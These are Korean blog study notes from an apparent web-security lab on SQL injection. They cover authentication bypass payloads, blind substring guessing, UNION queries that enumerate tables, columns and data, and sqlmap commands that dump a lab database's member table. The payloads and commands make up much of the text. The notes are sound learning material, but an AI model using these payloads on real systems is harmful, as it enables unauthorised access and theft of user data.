Non-Blind SQL Injection
: injection이 성공하면 값을 받는다.
Blind SQL Injection
: 값이 아닌 '예,아니오 (참/거짓) '로만 대답을 받는다.
: Time Based - 참이면 시간이 오래걸리게, 아니면 즉각적으로 답이 뜨게함으로 참인지 거짓인지 확인하기.
: limit 이나, substring 으로 문자를 쪼개서 한 문자씩 대입 공격을 수행한다.
: select * from member where u_id='$id' and u_pass='$pw‘; 에서
아이디 부분을 참으로 만들고, #으로 뒷부분을 주석처리하면 로그인 성공.
select * from member where u_id=' ' or ascii(substring(database(),1,1))=87 #
select * from member where u_id=' ' or substring(database(),1,1)='W' #
Injection Vector ?
: get 과 post 방식을 사용하는 모든 곳. Query 조작이 가능한 위치.
* 참공격 ( '=1 )
하면 DB의 첫번째 유저로 로그인 되니, 관리자 아이디를 첫번째로 하지말고 관리자 DB는 따로 저장할 것.
Web Test OS준비
httpd restart 후 web브라우저에서 접속 확인 (철컹철컹사이트)
Non Blind SQL Injection
(게시판 글쓸 때 이름 깨지는거 수정)
# vi /etc/php.ini
<?php ?>
<? ?> 도 허용
228 ; http://www.php.net/manual/en/ini.core.php#ini.short-open-tag
229 ;short_open_tag = Off
230 short_open_tag = On
# service httpd restart
SQL Injection 인증 우회
취약한 코드를 이용한 인증우회 원리
- select * from member where u_id='$id' and u_pass='$pw‘;
이 sql 문의 결과가 참인 행만 반환.
select * from member where 1 → 항상 참이므로 모든 행 반환
select * from member where 0 → 항상 거짓이므로 반환 하지 않음
게시판에 출력되는 컬럼 넘버 알아내기 (몇번째칸에 어떤내용이 출력되는지)
'union select 1,2,3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema='WebTest' #
테이블명 알아내기
'union select 1,table_schema,3,4,table_name,6,7,8,9,10,11 from information_schema.tables where table_schema='WebTest' #
컬럼명 알아내기
'union select 1,column_name,3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name='member' #
(위에서 알아낸 컬럼명에 들어가있는) 데이터 알아내기
'union select 1,name,3,4,age,6,7,8,9,10,11 from hgs #
로그인시 아이디가 무조건 참이 되게하기
'or substring(version(),1,1)='5'#
'or substring(database(),1,1)='W'#
SQL Map
칼리 리눅스를 통해
취약점 알아내기
인젝션 벡터 (취약점) 확인
# sqlmap -u "http://200.200.200.146/board/board_view.php?num=2" -p "num"
(공격할url)
데이터베이스 알아내기
# sqlmap -u "http://200.200.200.146/board/board_view.php?num=2" -p "num" --dbs
알아낸 데이터베이스의 테이블 알아내기
# sqlmap -u "http://200.200.200.146/board/board_view.php?num=2" -p "num" -D "WebTest" --table
알아낸 테이블의 컬럼 알아내기
# sqlmap -u "http://200.200.200.146/board/board_view.php?num=2" -p "num" -D "WebTest" -T "member" --column
테이블 안의 값을 가져오기
# sqlmap -u "http://200.200.200.146/board/board_view.php?num=2" -p "num" -D "WebTest" -T "member" --dump
방금 확인한 dump 내용을 파일로 저장
'INFOSEC > NETWORK' 카테고리의 다른 글
SSL Strip (0) | 2019.11.12 |
---|---|
Web Application (0) | 2019.11.07 |
SSL (0) | 2019.10.21 |
virtualhost (0) | 2019.10.17 |
DNS - TCP 53 (Zonetransfer) (0) | 2019.10.15 |